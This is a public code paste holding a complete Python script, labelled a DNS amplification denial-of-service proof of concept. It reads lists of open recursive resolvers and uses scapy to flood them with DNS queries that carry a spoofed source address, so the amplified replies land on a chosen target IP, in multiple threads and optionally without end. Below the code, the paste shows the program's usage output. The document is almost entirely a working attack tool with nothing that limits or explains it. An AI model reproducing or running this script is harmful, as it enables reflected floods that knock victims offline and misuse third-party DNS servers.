fork(3) download 
  1. #
  2. # DNS Amplification DOS Attack Script - Proof of Concept
  3. #
  4. #    Co-Authored Johnathin Ferretti and Pat Litke
  5. #
  6. #	Pat Litke		|	geudrik
  7. #	Jonathin Ferretti	|	LISTERINe
  8. #
  9. #	January 2012
  10. #
  11. #
  12. #
  13. #	Dependencies
  14. #		python-scapy
  15. #		python-dnspython
  16. #
  17. #
  18.  
  19.  
  20. # Basic imports to do simple I/O
  21. from optparse import OptionParser
  22. from string import lower
  23. from os import path, system
  24.  
  25. # Ensure that switches are set before we do much of anything else.
  26. #	This ensures that system resources aren't unnecessarily used
  27. system("clear")
  28. print "###########################################################"
  29. print "###   DNS Amplification DOS Attack - Proof of Concept   ###"
  30. print "###                                                     ###"
  31. print "###   Co-Authored    :   LISTERINe and geudrik          ###"
  32. print "###			Jon Ferretti & Pat Litke   ###"
  33. print "###   Last Modified  :   January 2012                   ###"
  34. print "###########################################################"
  35. print "\n\n"
  36.  
  37. parser=OptionParser()
  38.  
  39. # Required Parameters
  40. parser.add_option("-t", "--target", 
  41. 				action="store", dest="target",
  42. 				help="IP address of our target")
  43.  
  44. parser.add_option("-s", "--servers", 
  45. 				action="store", dest="servers",
  46. 				help="Path to our list of recursive DNS servers")
  47.  
  48. parser.add_option("-a", "--arecords", 
  49. 				action="store", dest="arecords",
  50. 				help="Path or our list of A-Name records")
  51.  
  52. # Optional Parameters
  53. parser.add_option("-c", "--count", action="store", dest="count", default=5)
  54. parser.add_option("-v", "--verbose", action="store_true", dest="verbose")
  55. parser.add_option("--threads", action="store", dest="threads", default=1)
  56. parser.add_option("--verify", action="store_true", dest="verify")
  57.  
  58.  
  59. (options, args)=parser.parse_args()
  60.  
  61. # Check to see that at least -t -s and -a are set as they are required
  62. if not options.target or not options.servers or not options.arecords:
  63. 	print "Options are as follows"
  64. 	print "-t           :   Target IP Address"
  65. 	print "-s           :   Path to Server File"
  66. 	print "-a           :   Path to A Record FIle"
  67. 	print "-c           :   -1 for infinite, \# of times to send packets"
  68. 	print "--verify     :   Verify that DNS servers are indeed recursive"
  69. 	print "-v           :   Set verbosity to true"
  70. 	print "--threads    :   Number of threads to spawn"
  71. 	print "\n"
  72. 	print "Example Usage\n"
  73. 	print "amplfiy.py -t 1.2.3.4 -s /usr/so.list -a /usr/arec.list -c \"-1\" --verify -v --threads=4"
  74. 	exit() 
  75.  
  76. else:
  77. 	print "All checks have passed successfully. You are about to launch"
  78. 	print " a DOS attack against "+options.target
  79. 	print "The following are the options passed..."
  80. 	print "Target          : "+options.target
  81. 	print "Servers         : "+options.servers
  82. 	print "A-Names         : "+options.arecords
  83. 	print "Send Count      : "+str(options.count)
  84. 	print "Verify Servers? : "+str(options.verify)
  85. 	print "Verbosity?      : "+str(options.verbose)
  86. 	print "Thread Count    : "+str(options.threads)
  87. 	proof=lower(raw_input("Are you sure you want to execute this attack?  (Y/N)"))
  88.  
  89. 	if proof=="n":
  90. 		exit()
  91.  
  92.  
  93. # Clear our buffer and continue on...	
  94. system("clear");
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105. ##
  106. #####
  107. #####################################################
  108. # Sanitation code for our DNS amplification script
  109. #####################################################
  110. #####
  111. ##
  112.  
  113.  
  114. from dns import flags, resolver
  115. from os import path, system
  116. from sys import argv, stdout
  117. from random import randrange, seed
  118. from threading import Thread
  119. import logging
  120.  
  121.  
  122. # Supress IPv6 warnings...
  123. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  124. from scapy.all import *
  125.  
  126.  
  127. ### Sanitize our A-Records List
  128. def pull_clean_servers(server_filename, verbose):
  129.  
  130. 	# Populate our array serverlist
  131. 	try:
  132. 		handle	=	open(path.abspath(server_filename), "r")
  133. 		serverlist	=	handle.readlines()
  134. 		if verbose:
  135. 			print "Pre-sanitation: File opened and lines read"
  136.  
  137. 	except:
  138. 		print "Bad filepath, cannot open file for reading "+server_filename
  139. 		exit()
  140.  
  141. 	# For each server in our serverlist (see above), clean it
  142. 	clean	=	[]
  143. 	for server in serverlist:
  144.  
  145. 		try:
  146. 			clean.append(server.strip())
  147. 			if verbose:
  148. 				print "Server Cleaned: "+server
  149.  
  150. 		except:
  151. 			print "Unable to parse servername: "+server
  152. 			exit()
  153.  
  154. 	print "\n=== Sanitation Complete ===\n\n"
  155. 	return clean
  156.  
  157.  
  158.  
  159.  
  160. ##
  161. #####
  162. ####################################################
  163. # Verification Code for our Name Servers
  164. ####################################################
  165. #####
  166. ##
  167.  
  168. def verify_ns(nslist, verbose):
  169.  
  170. 	if verbose:
  171. 		print "Now verifying nameservers..."
  172.  
  173. 	verified = []
  174. 	for server in nslist:
  175. 		try:
  176. 			# Send our DNS request to the server
  177. 			answer = resolver.query(server)
  178.  
  179. 			# Read DNS flags from response and check for RA flag
  180. 			DNSflags = (flags._to_text(answer.response.flags,
  181. 										flags._by_value,
  182. 										flags._flags_order)).split(" ")
  183.  
  184. 			if "RA" in DNSflags:
  185. 				verified.append(server)
  186.  
  187. 			if verbose:
  188. 				print "Server "+server+" is recursive"
  189.  
  190. 		except:
  191. 			# Server is not recursive
  192. 			print "Server "+server+" is *NOT* recursive"
  193.  
  194. 	return verified
  195.  
  196. ##
  197. #####
  198. ####################################################
  199. # Thread Class to handle our our Multi Threading
  200. ####################################################
  201. #####
  202. ##
  203.  
  204. class sender(Thread):
  205.  
  206. 	# Define our __init__ struct
  207. 	def __init__(self, threadnum, data_package):
  208. 		Thread.__init__(self)
  209. 		self.data = data_package
  210. 		self.tnum = threadnum
  211. 		self.target = data_package[0]
  212. 		self.name_servers = data_package[1]
  213. 		self.A_records = data_package[2]
  214. 		self.send_limit = data_package[3]
  215. 		self.verbose = data_package[4]
  216.  
  217. 	# Define our "push_dns_packets" struct
  218. 	def run(self):
  219. 		print "seeding..."
  220. 		seed()
  221. 		pac_num = 0
  222. 		while self. send_limit != pac_num:
  223. 			ns = self.name_servers[randrange(0,len(self.name_servers))]
  224. 			A_record = self.A_records[randrange(0,len(self.A_records))]
  225.  
  226. 			if self.verbose:
  227. 				print "| Sending Packet: "+str(pac_num+1)+" |", "Thread Number:", str(self.tnum)+" |", "Target:", self.target+" |", "Name Server:", ns+" |", "A-Record:", A_record+" |"
  228.  
  229. 			# Send the packet :D :D
  230. 			send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0)
  231. 			pac_num+=1
  232.  
  233.  
  234. 	# Define our "run" struct
  235. 	#def run(self):
  236. 	#	self.push_DNS_packets(self.tnum, self.data[0], self.data[1], self.data[2], self.data[3], self.data[4])
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245. ##
  246. #####
  247. #####################################################
  248. # Let's start assigning variables and threadding
  249. #####################################################
  250. #####
  251. ##
  252.  
  253. # Assign vars to be used in our threads. We'll do this one at a time to see where things break (if they do)
  254. try:
  255. 	Target = options.target
  256. except:
  257. 	print "Script Broke - Target assignment failed"
  258. 	exit()
  259.  
  260.  
  261. try:
  262. 	Nameservers = pull_clean_servers(options.servers, options.verbose)
  263. except:
  264. 	print "Script Broke - Nameservers assignment failed"
  265. 	exit()	
  266.  
  267.  
  268. try: 
  269. 	A_Records = pull_clean_servers(options.arecords, options.verbose)
  270. except:
  271. 	print "Script Broke - A_Records assignment failed."
  272. 	exit()
  273.  
  274.  
  275.  
  276.  
  277. # Things are sanitized. Do we need to verify our name servers?
  278. if options.verify:
  279. 	try:
  280. 		Nameservers = verify_ns(Nameservers, options.verbose)
  281. 		if options.verbose:
  282. 			print "Nameserver Verification Successful..."
  283.  
  284. 	except:
  285. 		print "Errors were encountered (see above) in nameserver verification"
  286. 		print "You may continue, but the above nameservers will be ignored"
  287. 		ns_error=lower(raw_input("Would you like to still try the attack (suggest not)?  (Y/N) :"))
  288.  
  289. 		if ns_error=="n":
  290. 			exit()
  291.  
  292.  
  293.  
  294. # Pause so we can see diagnostic output
  295. finalcheck=lower(raw_input("This the last chance you get. Are you sure you want to continue?"))
  296. print finalcheck
  297. if finalcheck=="n":
  298. 	print "n"
  299. 	exit()
  300.  
  301. print "running"
  302.  
  303. # So here we go, lets fire up some threads
  304. sendthreads = []
  305. for thread in range(0,int(options.threads)):
  306. 	sendthreads.append(sender(thread+1, [Target, Nameservers, A_Records, int(options.count), options.verbose]))
  307. 	sendthreads[thread].start()
Success #stdin #stdout #stderr 0.13s 9936KB
comments (?)
stdin 
Standard input is empty
stdout 
###########################################################
###   DNS Amplification DOS Attack - Proof of Concept   ###
###                                                     ###
###   Co-Authored    :   LISTERINe and geudrik          ###
###			Jon Ferretti & Pat Litke   ###
###   Last Modified  :   January 2012                   ###
###########################################################



Options are as follows
-t           :   Target IP Address
-s           :   Path to Server File
-a           :   Path to A Record FIle
-c           :   -1 for infinite, \# of times to send packets
--verify     :   Verify that DNS servers are indeed recursive
-v           :   Set verbosity to true
--threads    :   Number of threads to spawn


Example Usage

amplfiy.py -t 1.2.3.4 -s /usr/so.list -a /usr/arec.list -c "-1" --verify -v --threads=4
stderr 
TERM environment variable not set.
https://ideone.com/H0mpsI
language:
Python (cpython 2.7.16)
created:
12 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!